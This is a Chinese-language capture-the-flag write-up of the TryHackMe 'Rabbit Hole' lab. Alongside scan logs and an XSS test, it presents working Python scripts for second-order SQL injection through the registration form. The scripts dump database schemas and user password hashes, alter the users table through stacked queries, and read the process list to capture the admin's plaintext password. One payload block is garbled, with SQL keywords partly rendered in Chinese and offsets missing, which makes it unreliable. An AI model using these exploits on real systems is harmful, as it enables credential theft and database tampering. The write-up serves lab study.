THM Rabbit Hole

信息收集

复制代码
 [2025-08-25 17:29:28] [INFO] 暴力破解线程数: 1                                                                                                                                                                                             
 [2025-08-25 17:29:28] [INFO] 开始信息扫描
 [2025-08-25 17:29:28] [INFO] 最终有效主机数量: 1
 [2025-08-25 17:29:28] [INFO] 开始主机扫描
 [2025-08-25 17:29:28] [INFO] 有效端口数量: 233
 [2025-08-25 17:29:28] [SUCCESS] 端口开放 10.10.13.181:22
 [2025-08-25 17:29:28] [SUCCESS] 服务识别 10.10.13.181:22 => [ssh] 版本:8.9p1 产品:OpenSSH 信息:protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.9p1.]
 [2025-08-25 17:29:29] [SUCCESS] 端口开放 10.10.13.181:80
 [2025-08-25 17:29:35] [SUCCESS] 服务识别 10.10.13.181:80 => [http]
 [2025-08-25 17:29:35] [INFO] 存活端口数量: 2
 [2025-08-25 17:29:35] [INFO] 开始漏洞扫描
 [2025-08-25 17:29:35] [INFO] 加载的插件: ssh, webpoc, webtitle
 [2025-08-25 17:29:36] [SUCCESS] 网站标题 http://10.10.13.181       状态码:200 长度:723    标题:Your page title here :)
 [2025-08-25 17:30:39] [SUCCESS] 扫描已完成: 3/3

目录扫描

复制代码
 Target: http://10.10.13.181/
 ​
 [17:30:43] Starting:
 [17:30:57] 403 -  277B  - /.ht_wsr.txt
 [17:30:57] 403 -  277B  - /.htaccess.bak1
 [17:30:57] 403 -  277B  - /.htaccess.orig
 [17:30:57] 403 -  277B  - /.htaccess.sample
 [17:30:57] 403 -  277B  - /.htaccess.save
 [17:30:57] 403 -  277B  - /.htaccess_orig
 [17:30:57] 403 -  277B  - /.htaccessBAK
 [17:30:57] 403 -  277B  - /.htaccess_extra
 [17:30:57] 403 -  277B  - /.htaccess_sc
 [17:30:57] 403 -  277B  - /.htaccessOLD
 [17:30:57] 403 -  277B  - /.htaccessOLD2
 [17:30:57] 403 -  277B  - /.html
 [17:30:57] 403 -  277B  - /.htm
 [17:30:57] 403 -  277B  - /.htpasswd_test
 [17:30:57] 403 -  277B  - /.htpasswds
 [17:30:57] 403 -  277B  - /.httr-oauth
 [17:32:00] 301 -  310B  - /css  ->  http://10.10.13.181/css/
 [17:32:29] 200 -  472B  - /login.php
 [17:32:30] 302 -    0B  - /logout.php  ->  /
 [17:32:58] 200 -  502B  - /register.php
 [17:33:04] 403 -  277B  - /server-status
 [17:33:04] 403 -  277B  - /server-status/

进入80端口发现有注册,先注册一下账户进去

没找到啥东西,测一下sql注入吧,登录和注册都测一下,但是两个数据包都直接放进sqlmap没有跑出来

获取shell

XSS

上图可以发现自己的用户名被显示在屏幕上了,测一下xss,注册<script>1</script>的用户,进来发现

简单绕一下

复制代码
 </tr><script>alert(1)</script>

成功弹窗,但是对于拿数据的话没啥用,不过这也证实了一点,就是我们的输入会被放入表中,之后通过查询获取,那么就可能存在二次SQL注入

SQL注入

二次注入的话自己写个py脚本

复制代码
 import requests
 import sys
 url_base = "http://10.10.181.4/"
 payload = '" UNION SELECT 1,2#'
 ​
 s = requests.session()
 s.post(url_base + "register.php", data={"username": payload, "password": "123", "submit": "%E6%8F%90%E4%BA%A4"})
 s.post(url_base + "login.php", data={"username": payload, "password": "123", "login": "%E6%8F%90%E4%BA%A4"})
 r = s.get(url_base)
 print(r.text)
 ​
 <thead><th>User 1 - admin last logins</th></thead><tbody>
 <tr><td>2025-08-25 10:20</td></tr>
 <tr><td>2025-08-25 10:19</td></tr>
 <tr><td>2025-08-25 10:18</td></tr>
 <tr><td>2025-08-25 10:17</td></tr>
 <tr><td>2025-08-25 10:16</td></tr>
 </tbody></table>
 <table class="u-full-width">
 <thead><th>User 42 - " UNION SELECT 1,2# last logins</th></thead><tbody>
 <tr><td>2</td></tr>
 </tbody></table>
 </div></div></div>

回显位是2,那接下来就是标准流程了,但是又发现了一个问题

复制代码
 import requests
 import sys
 url_base = "http://10.10.181.4/"
 payload = '" UNION select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#'
 s = requests.session()
 s.post(url_base + "register.php", data={"username": payload, "password": "123", "submit": "%E6%8F%90%E4%BA%A4"})
 s.post(url_base + "login.php", data={"username": payload, "password": "123", "login": "%E6%8F%90%E4%BA%A4"})
 r = s.get(url_base)
 print(r.text)
 ​
 tr><td>information_sche</td></tr>

每次只回显16位,修改一下脚本,问ai就行,然后自己稍微改一下就能用了

复制代码
 #!/usr/bin/env python3
 ​
 import requests
 from bs4 import BeautifulSoup
 ​
 url_base = "http://10.10.181.4/"
 output_file = "1.txt"
 ​
 # 初始化偏移量
 result = ""
 offset = 0
 ​
 while True:
     # 修改 payload,使用 `SUBSTRING` 函数逐步获取数据
     payload = f'" UNION SELECT 1,SUBSTRING(group_concat(SCHEMA_NAME), {offset+1}, 16) FROM information_schema.SCHEMATA#'
     
     # 创建会话
     s = requests.session()
     s.post(url_base + "register.php", data={"username": payload, "password": "123", "submit": "%E6%8F%90%E4%BA%A4"})
     s.post(url_base + "login.php", data={"username": payload, "password": "123", "login": "%E6%8F%90%E4%BA%A4"})
     r = s.get(url_base)
     
     # 使用 BeautifulSoup 解析 HTML
     soup = BeautifulSoup(r.text, "html.parser")
     td_elements = soup.find_all("td")  # 获取所有 <td> 标签内容
     
     # 获取目标数据
     data = td_elements[5].get_text()
     if len(data) <= 0:
         break
     result += data
     offset += 16  # 更新偏移量
     
     print(f"Fetched: {data}")
 ​
 # 将结果写入文件
 with open(output_file, "w") as f:
     f.write(result)
 ​
 print(f"Final result written to {output_file}")

这样就可以正常查看了

复制代码
 " UNION SELECT 1,SUBSTRING(group_concat(SCHEMA_NAME), {offset+1}, 16) FROM information_schema.SCHEMATA#
 information_schema,web
 ​
 " UNION SELECT 1,SUBSTRING(group_concat(table_name), {offset+1}, 16) from information_schema.tables where table_schema=\'web\'#
 users,logins
 ​
 " UNION SELECT 1,SUBSTRING(group_concat(column_name), {offset+1}, 16)  from information_schema.columns where table_name=\'users\'#
 id,username,password,group
 ​
 " UNION SELECT 1,SUBSTRING(group_concat(id,":",username,":",password,":",`group` SEPARATOR "\n"), {offset+1}, 16) FROM web.users where id<4#
 1:admin:0e3ab8e45ac1163c2343990e427c66ff:admin
 2:foo:a51e47f646375ab6bf5dd2c42d3e6181:guest
 3:bar:de97e75e5b4604526a2afaed5f5439d7:guest

拿到了admin的md5值,但是不能被破解,后面参考了一下歪果仁大佬Jaxafed的思路,说是有一个PROCESSLIST 表,它位于 information_schema 数据库,可以查询数据库中当前正在运行的查询,由于 admin 用户每分钟都会登录网站,并且登录查询中会调用 SLEEP 函数,因此我们每分钟都会有五秒钟的时间从表中读取登录查询。如果用户密码的哈希值不是在 PHP 代码中完成的,而是使用 MD5 函数传递给 MySQL ,能够获取 admin 用户的密码。

然后就是如何查询的问题了,这里直接说一个最简单的先,那就是下面的payload

复制代码
 0“ union all select null,mid(info,1,16) from information_schema.processlist,其中信息不像 '%info%'
 union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%'
 union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%'
 union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%'
 union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%'
 union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%'
 union all select null,mid(info,97,16) from information_schema.processlist,其中信息不像 '%info%'
 union all select null,mid(info,113,16) from information_schema.processlist,其中信息不像 '%info%'
 union all select null,mid(info,129,16) from information_schema.processlist,其中信息不像 '%info%'
 union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%' -- -

当然有一些有意思的思路,就是先修改user的id字段的属性改为string,然后使用当前正在运行的查询来更新表中的 id 字段

复制代码
 #!/usr/bin/env python3
 ​
 import requests
 import re
 import time
 import sys
 ​
 url_base = sys.argv[1]
 ​
 # modify the data type for the id column
 s = requests.session()
 payload = f'" UNION SELECT 1,2; ALTER TABLE web.users MODIFY id VARCHAR(255); ALTER TABLE web.users DROP PRIMARY KEY;#'
 s.post(url_base + "register.php", data={"username": payload, "password": "jxf", "submit": "Submit Query"})
 s.post(url_base + "login.php", data={"username": payload, "password": "jxf", "login": "Submit Query"})
 s.get(url_base)
 ​
 # create and log in with an account to update the id column with the current queries if it is not empty
 s = requests.session()
 payload = f'" UNION SELECT 1,2; UPDATE web.users SET id=(SELECT IFNULL(GROUP_CONCAT(INFO_BINARY),"1") FROM information_schema.PROCESSLIST WHERE INFO_BINARY NOT LIKE "%INFO_BINARY%") WHERE username="admin";#'
 s.post(url_base + "register.php", data={"username": payload, "password": "jxf", "submit": "Submit Query"})
 s.post(url_base + "login.php", data={"username": payload, "password": "jxf", "login": "Submit Query"})
 ​
 # constantly update the id field by fetching the last logins page and if it is not set to 1, print it and exit
 while True:
     r = s.get(url_base)
     if "User 1 - admin" not in r.text:
         print(re.search(r"User (.*) - admin last logins", r.text).group(1))
         
         # after successful extraction, clean up the database
         payload = f'" UNION SELECT 1,2; DELETE FROM web.users WHERE username LIKE "%UNION SELECT 1,2%"; UPDATE web.users SET id="1" WHERE username="admin"; ALTER TABLE web.users MODIFY id INT PRIMARY KEY AUTO_INCREMENT;#'
         s = requests.session()
         s.post(url_base + "register.php", data={"username": payload, "password": "jxf", "submit": "Submit Query"})
         s.post(url_base + "login.php", data={"username": payload, "password": "jxf", "login": "Submit Query"})
         s.get(url_base)
 ​
         break
 ​
     time.sleep(1)

运行脚本,我们能够提取 admin 用户的登录查询并发现密码。

复制代码
 python3 sqli_stacked_queries.py 'http://10.10.181.4/' SELECT * from users where (username= 'admin' and password=md5('fE[REDACTED]0Q') ) UNION ALL SELECT null,null,null,SLEEP(5) LIMIT 2

获取flag

然后登录ssh即可